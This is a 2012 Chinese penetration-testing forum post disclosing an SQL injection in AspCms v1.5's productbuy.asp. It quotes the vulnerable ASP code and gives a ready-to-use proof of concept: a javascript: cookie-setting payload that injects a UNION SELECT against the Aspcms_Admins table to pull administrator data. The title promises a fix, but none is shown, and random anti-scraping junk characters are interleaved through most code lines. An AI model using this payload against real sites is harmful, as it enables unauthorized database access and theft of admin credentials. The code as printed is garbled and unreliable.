中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....8 D; |. _! S  U  T, a* L4 E* C
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
, K# P. Z% q1 g8 n废话不多说,看代码:
$ s# i6 B% b* W, X' [+ P; j: |4 C* w, d: Z. n! }5 ?, O! w
<%# z& F7 g8 `. E$ D

3 w: I  B8 @* z* G, ^if action = "buy" then
+ y  J: Z8 R: S' @3 n' Y
# M) g& Q& c0 v+ P# p        addOrder()6 n% j( ~2 l' n0 L

7 ?) S2 l( h6 g) ?) J3 D$ delse& K6 U. M7 C" {; f( y% {
& {" W( F/ N  a' i  Q+ G" N
        echoContent()
7 R+ Q* D8 H/ h6 e" w6 ]$ X
6 ?0 ]) \5 n: C4 A: U: Y* Qend if! o) U! `+ q  j6 e9 l2 `
7 B( K0 X8 }0 p: d2 M
0 j# X! j' J- q( D& G3 N

. o! d4 Y7 V* z8 s; t# e, _……略过
/ _. X* G: i( z% A1 f% o0 u7 S4 w) K( @8 E# V
% H  y$ k2 v" P" Z4 t" R& W
* G' w- m1 d; z. u
Sub echoContent()
; T0 I4 v) w/ G8 _8 ?9 d
$ M, s9 ^  s9 U8 J7 Y! F' o0 K        dim id
/ A+ i5 |7 J% [8 \) |: O
; G3 O5 k% h( H  P        id=getForm("id","get")- [9 |: f, R0 x8 s, }) p
. `4 ]4 J! Q0 x5 k0 W
        
  f2 a/ K4 }6 F7 U
# ]) G0 C/ j+ m3 j; q. u, S2 Y6 u        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" ) M& z- \/ `# N3 z# z( |: G

3 C  y% a- O5 u9 E8 R        8 F$ h2 H) O: Z- k
5 _7 |' o5 G: Y6 {( B7 T+ B
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
) p4 o% V& ?0 o+ y0 t7 Q5 w" ~0 f% P4 g; c
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
1 `. e( c" o) n$ j9 w! Y, ~- y4 `$ R3 {0 ^- ?+ b0 N/ ]8 d
        Dim templatePath,tempStr( z4 d4 l5 U3 s+ d3 r

) Q; i% O; q4 i8 f, Z; u        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
3 R% O  g4 q5 q  |- U& O
1 a3 D: }# r6 Q/ F; [: n
7 L( i% f" x1 N  z/ H" B1 H4 V1 U. ~; N. u$ \
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1"), B- L$ b& i* I0 w1 y! _

* _( v3 j, K6 i- A1 B        selectproduct=rsObj(0); X) ~# h+ m$ @+ @2 J+ f2 ?

; V, z4 W! b; A/ _! u        * c& `  J8 E: x! L" H7 H5 k% A8 D
$ c0 w& K5 k$ ^# o
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
; i6 l& y1 a, c- A2 |
) }* t5 i% _. L. a2 a$ [        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",01 R5 Y2 ^& o( Q; [6 b7 h6 O

( s3 \# k4 n) ~        if rCookie("loginstatus")=1 then  
# s) ^+ O% r! F  Y2 R+ s6 {
0 K% D, L& ], C. s5 X                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1"). V8 p! S4 `: s+ p# C8 u
' L5 ~1 h  D( X( V8 J* N4 S
                linkman=rsObj("truename")' R* ]$ p+ D  E* c' O- c- w8 ?
+ ^7 W4 q% R5 W1 y
                gender=rsObj("gender")6 R' p5 r! s% Z$ s* [

* u5 ~% V7 [: q0 l: K                phone=rsObj("phone")
0 L' v* v0 S7 S; x9 ]& M: y$ n6 m6 T  O6 P4 c9 _
                mobile=rsObj("mobile"), N5 R" M1 s& k: \
* N* `- z  ~! |! P" o8 h
                email=rsObj("email")
8 n+ h9 s% _0 ]6 d% o  M* l9 O8 z2 K& e8 r; a, p( }
                qq=rsObj("qq")
  F. ^( H6 [3 W* h6 y$ K7 b, M, K. o* J0 f
                address=rsObj("address")% q: f8 y0 g9 g/ c6 C8 ]* E8 ~  L
" E/ _* }$ F% n1 A% T. J
                postcode=rsObj("postcode")
3 a8 ~- W- N8 {
" }) s8 u6 h. O  h4 N6 ^) b( P        else 1 z. f1 b- Y9 j. ]: p, q- t
/ i/ N) z$ n! p" P( K8 v/ o, m
                gender=1
; e* s. x9 ~% g- G  K8 W
' `. T# B9 Q/ U9 p. \0 o, {/ ~        end if/ l1 s) R4 @+ v5 u+ J

7 j% o/ o& S" P& U        rsObj.close()
  @( N+ V3 a$ E8 ^  }: d) M& D7 `1 R. u, x4 `9 s; A
               
: i. g, _% ~) P& W' m) |; M: H8 ^' v6 o0 l2 E' b
        with templateObj
3 ~( j  F" k) |5 C5 a( ~2 M$ x! }, ^: H; y# z, z5 Y, ^. q
                .content=loadFile(templatePath)        
5 t  l5 U! W3 X1 m7 ]3 D8 q. w0 s
7 P, \2 ^: A. r7 A                .parseHtml()$ U4 q' Z8 W; \4 c6 @
7 \+ G* N! X" K# u. K" h4 ]
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct). s- R7 D9 F8 J/ X
1 y" e" X3 h5 H) S
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                $ x, K; _( m7 G% J
9 u( M* t2 O, p! [/ b
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
- [( E" U8 a- L! ?8 x) Y0 F
4 @) }2 d; ?0 ~& B% v- S                .content=replaceStr(.content,"[aspcms:phone]",phone)               
+ n9 k  S( k" K" t) O
" Z1 @- `7 j( _$ C4 K                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
: X" @% z$ F: t2 a' m
0 b, \! X* }  l: I                .content=replaceStr(.content,"[aspcms:email]",email)                        
: W1 ^, g7 A$ Y3 ~9 L/ ^$ G
  {9 u) _; Y1 v( H4 ~9 x; o                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ; r8 D8 Z& \: T- n

7 k* j' R* W1 n! O7 g+ y                .content=replaceStr(.content,"[aspcms:address]",address)                        
5 l; F7 x! R8 \
9 P+ u. X, z5 |- n( ?9 S2 S" z5 I$ _                .content=replaceStr(.content,"[aspcms:postcode]",postcode)          e: q1 @* O2 n4 S

) n+ u" X) |3 a5 C                .parseCommon()                 
/ |2 I0 d- f. i$ |0 ~1 S1 c* c8 ?4 O  k  R
                echo .content ' S8 u% O  r8 R8 U" M, L# M& s% x
' l1 d0 E6 ?2 U
        end with# J5 I6 G. Y6 T* O0 {
' t( u* d- Z! o2 C9 d$ u
        set templateobj =nothing : terminateAllObjects
2 v- B/ B5 l1 B1 K
0 s- h8 z4 c) V; K  ]6 d$ i! tEnd Sub
( v6 H$ Q& }" w$ F$ q漏洞很明显,没啥好说的
% B' Z3 L. V2 B+ f9 Ipoc:4 I" s  [$ t6 ?, G" t! ~- [4 e6 e

# n7 i+ v9 F" Yjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
7 w1 w* \* }% l( ~$ i5 H" _& N. K* O2 l# M+ A





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2